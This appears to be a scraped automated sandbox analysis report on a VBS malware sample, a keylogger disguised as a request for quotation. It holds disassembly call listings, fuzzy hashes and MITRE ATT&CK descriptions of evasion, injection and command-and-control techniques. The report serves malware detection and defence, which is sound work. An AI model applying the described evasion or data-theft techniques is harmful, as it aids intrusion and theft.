Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(6D16D8B1,6D15A323,00000000), ref: 00415F0F
__vbaNew2.MSVBVM60(00406520,0042CC34,6D16D8B1,6D15A323,00000000), ref: 00415F27
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
__vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
__vbaFreeObj.MSVBVM60 ref: 00415F9E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckErrorHresultSystem$FreeNew2
String ID:
API String ID: 4095944179-0
Opcode ID: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction ID: 86e52eac19165ff6a91ac7dd53a600c53f32cd3851e5c07b860265a300e2eb8b
Opcode Fuzzy Hash: 0e2877956f964c667186ba7d453f48a1745dc0f6204dd302438443de716a423e
Instruction Fuzzy Hash: AA218674A00645EBCB20DBA4EE89FDEBB74EB58741F50012AF145B31E0D77859428BA9

Function 0041A4A0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,0041A8A0,?,?,00000000,Function_000032B6), ref: 0041A4BE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A4EE

Part of subcall function 0041A2B0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
Part of subcall function 0041A2B0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
Part of subcall function 0041A2B0: __vbaSetSystemError.MSVBVM60(?), ref: 0041A475

__vbaSetSystemError.MSVBVM60(001F0FFF,00000000,?,?,?,?,00000000,Function_000032B6), ref: 0041A51C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A53C
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041A559
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041A575

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction ID: 0ffcf597171400e777aa296a20f0d346976af0d8bd5363bbaeaa7b020b9ff71b
Opcode Fuzzy Hash: 5bb2bcfdb485b1fc5dace36e1ee00ee028e08319f0daf42fe37a24dbea0d6490
Instruction Fuzzy Hash: 5821D8B5D00648EBDB00EFE5DA49BDEBBB4FB48714F108269E500B7390C7795A44CBA9

Function 00429280 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292BF
__vbaCastObj.MSVBVM60(00000000,0040A2F8,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292CD
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4,?,?,?,?,?,?,?,?,Function_000032B6), ref: 004292F8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429301
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,Function_000032B6), ref: 00429307

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CastCheckErrorExitFreeHresultProc
String ID:
API String ID: 2075080343-0
Opcode ID: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction ID: 9ff539ebce5fad2b4699ffef5be23d845548c77eebf422f0d85762e4eecb91bf
Opcode Fuzzy Hash: 3c98d6e1d880771264c5319e433b74e335411f1da0612e9a017f040162ccee3f
Instruction Fuzzy Hash: 88018B71940214ABCB00AFA4CE48E9EBBB8FF48701F50406AF845B22A0CB7C55008AB9

Function 004200AF Relevance: 9.0, APIs: 6, Instructions: 26COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 004200BC
__vbaFileClose.MSVBVM60(00000000), ref: 004200C6
#529.MSVBVM60(00004008), ref: 004200E2
__vbaExitProc.MSVBVM60 ref: 004200EF
__vbaFreeStr.MSVBVM60(00420142), ref: 00420123
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042013B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CloseFile$#529DestructExitFreeProc
String ID:
API String ID: 4288299288-0
Opcode ID: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction ID: e63006f6629530c6f9d06262b1e3e783061ea391c4db22c70a24105a95955a76
Opcode Fuzzy Hash: 76c3e10c01bdde1d78888b45fc76731c4926e5430ee8ad2130daad78c8bdb4b7
Instruction Fuzzy Hash: 39F0E775D00218CECF10EFA0DD44BEDB7B8BB48300F4081AAE54AA7560DB741A89CF69

Function 0041E67F Relevance: 9.0, APIs: 6, Instructions: 23COMMON

Download Yara Rule

APIs

__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E68B
__vbaVarSetObjAddref.MSVBVM60(?,00000000), ref: 0041E693
__vbaExitProc.MSVBVM60 ref: 0041E695
__vbaFreeVar.MSVBVM60(0041E706), ref: 0041E6F2
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041E6FA
__vbaFreeVar.MSVBVM60 ref: 0041E703

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AddrefFree$DestructExitProc
String ID:
API String ID: 474453485-0
Opcode ID: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction ID: 667f1fbceb99d918350a8c93aba1b8ec047f02208f043dfad400775f7d70227f
Opcode Fuzzy Hash: 080a92c9c3c2fb487e3bc96c2bebb315830741a64646396bf6efebd826edfebc
Instruction Fuzzy Hash: A6E0E531D60128AADB04DBA0ED55FED7B38BF14700F54406AF902B30E09F746945CFA9

Function 00420B94 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

__vbaFileClose.MSVBVM60(00000000), ref: 00420BA1
__vbaFileClose.MSVBVM60(00000000), ref: 00420BAB
__vbaExitProc.MSVBVM60 ref: 00420BB4
__vbaFreeStr.MSVBVM60(00420BF8), ref: 00420BEB
__vbaFreeStr.MSVBVM60 ref: 00420BF0
__vbaFreeStr.MSVBVM60 ref: 00420BF5

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$CloseFile$ExitProc
String ID:
API String ID: 2014117853-0
Opcode ID: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction ID: 1a74a742803cabf7b99f207da3827670e0b1cecb12e14af3a137c0d733611b17
Opcode Fuzzy Hash: c3a2a4b37cd901fdd2dfd3f0805bf3e80cc1eed6359ebd58807123f09fd26edf
Instruction Fuzzy Hash: 3FE01A71D04128CACB14ABE0FD4069C7BB4AB08310B904167A402B3174DB742985CF99

Function 00418C10 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00418D00: __vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,6D15A323,6D16D8B1,?), ref: 00418D1E
Part of subcall function 00418D00: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,?,Function_000032B6,?), ref: 00418D4E
Part of subcall function 00418D00: __vbaRecUniToAnsi.MSVBVM60(004054A0,?,?), ref: 00418D6E
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D77
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418D85
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418D93
Part of subcall function 00418D00: __vbaStrI4.MSVBVM60(00000000,00000000), ref: 00418D9C
Part of subcall function 00418D00: __vbaStrMove.MSVBVM60 ref: 00418DAA
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00418DB8
Part of subcall function 00418D00: __vbaStrToAnsi.MSVBVM60(?,DISPLAY,00000000), ref: 00418DCB
Part of subcall function 00418D00: __vbaSetSystemError.MSVBVM60(00000000), ref: 00418DDD
Part of subcall function 00418D00: __vbaRecAnsiToUni.MSVBVM60(004054A0,?,?), ref: 00418DF6
Part of subcall function 00418D00: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 00418E2D

Part of subcall function 004199F0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 00419A0E
Part of subcall function 004199F0: __vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 00419A3E
Part of subcall function 004199F0: __vbaSetSystemError.MSVBVM60(?,00000001,00000000), ref: 00419A68

__vbaHresultCheckObj.MSVBVM60(00000000,?,004098D4,00000188), ref: 00418C86
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00418C96
__vbaI4Var.MSVBVM60(?,00000000), ref: 00418CA9
__vbaFreeObj.MSVBVM60(00000000), ref: 00418CB8
__vbaFreeVar.MSVBVM60 ref: 00418CC1

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Ansi$Error$Free$ChkstkMoveSystem$CallCheckHresultLateList
String ID:
API String ID: 873780948-0
Opcode ID: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction ID: 16d286b73a6ce5193caf80716aadf59a34bdb77ef37626ee72a0c3f1c06fc46a
Opcode Fuzzy Hash: 26f5b35a8f0ac3d08365d19e810842ecff9e3efcd4087d4e7403b082e305bca5
Instruction Fuzzy Hash: 63211DB5900209ABCB00DF95C989DEFBBBCEF58704F10451EF901B7250DA74A985CBB5

Function 00416000 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
__vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorFreeNew2System
String ID:
API String ID: 3252491692-0
Opcode ID: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction ID: 1035c00175c6c81f3f144980975e95b43d78c84e63a20c1226013f986c834cc1
Opcode Fuzzy Hash: 599137fa2ae346e6f6b239c3f9cbb415c6691d3a238c125e19ddfd78296be001
Instruction Fuzzy Hash: 30219570A40615EBCB20CFA5EE49E9FBF78FB58740F110126F105B32E0D7B499818BA9

Function 00404972 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428D95
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428DBA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A184,00000094), ref: 00428DE4
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF3
__vbaExitProc.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 00428DF9

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$CheckHresult$ErrorExitFreeProc
String ID:
API String ID: 4045702744-0
Opcode ID: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction ID: edda45edb35fde8433b36ffd3ef84c2269d30266a9ece54bd624009aaa599c45
Opcode Fuzzy Hash: 21644dc461e17c184ab23e9b8ca1607b74b27591d762e838d52aee4660b45f3b
Instruction Fuzzy Hash: 34215870901214EFCB00DFA5CA48E9EBBF8FF98704F64456AF405B72A0CB7859458AA9

Function 00420F00 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(00000000,-00000009,?,6D15E251,0041FB86), ref: 00420F20
__vbaI2I4.MSVBVM60(00000000,-00000009,?,6D15E251,0041FB86), ref: 00420F27
__vbaGenerateBoundsError.MSVBVM60(?,6D15E251,0041FB86), ref: 00420F4D
__vbaI2I4.MSVBVM60(?,6D15E251,0041FB86), ref: 00420F54
__vbaErrorOverflow.MSVBVM60(?,6D15E251,0041FB86), ref: 00420F72

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$Overflow
String ID:
API String ID: 2760075901-0
Opcode ID: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction ID: 93c54f63ccc5981ea9e36820505c7139a37b1fec0ba499ff43ef88027195e6a9
Opcode Fuzzy Hash: 8669df199ba3d32dd003e43707a03247d773872a69a830caabf4d64443806dda
Instruction Fuzzy Hash: D9F0F637B4416052C364477DEA8559AB3D7AB8C783BC20177E248576738DB858C143AD

Function 004156D0 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
__vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
__vbaFreeStr.MSVBVM60 ref: 0041572D

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction ID: 3bfd6651098160e42727f528c249f020de588879550cabcf3784d8fb116c8987
Opcode Fuzzy Hash: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction Fuzzy Hash: 1A0121B1D00605EFCB04EFB8D94AAEF7BB8EB44700F50466AF515E3290D73899468B95

Function 00415780 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157BB
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157C9
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157D4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157DD

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction ID: 842bb0dc7b1d712480adeb04c5aa04fa762cb34ee96fa383d986c0466198cab9
Opcode Fuzzy Hash: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction Fuzzy Hash: 580152B1C00605DFCB00EFA8C94AAAF7BB8EB44700F50422AE511E3290D73859428B95

Function 0042ABDE Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

_adj_fdiv_m64.MSVBVM60(?,?), ref: 0042AC13
__vbaExitProc.MSVBVM60(?,?), ref: 0042AC21
__vbaAryDestruct.MSVBVM60(00000000,?,0042AC5E), ref: 0042AC53
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0042AC5B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Destruct$ExitProc_adj_fdiv_m64
String ID:
API String ID: 3272950176-0
Opcode ID: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction ID: 432503350bff8fd263bfd7ee333f73b5f20f6540c55ce1ae75e3df8e8a0f3385
Opcode Fuzzy Hash: 0a605c6e4ccc50bbb14004817ee39ccc39d0ef59e952a399e43dad9ab60bf25d
Instruction Fuzzy Hash: 74F01730E48128EBDB209B51ED44BE8BB38BB54301F9080EAE58471094CBB95EE19F5A

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ-5120240930 VENETA PESCA SRL.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

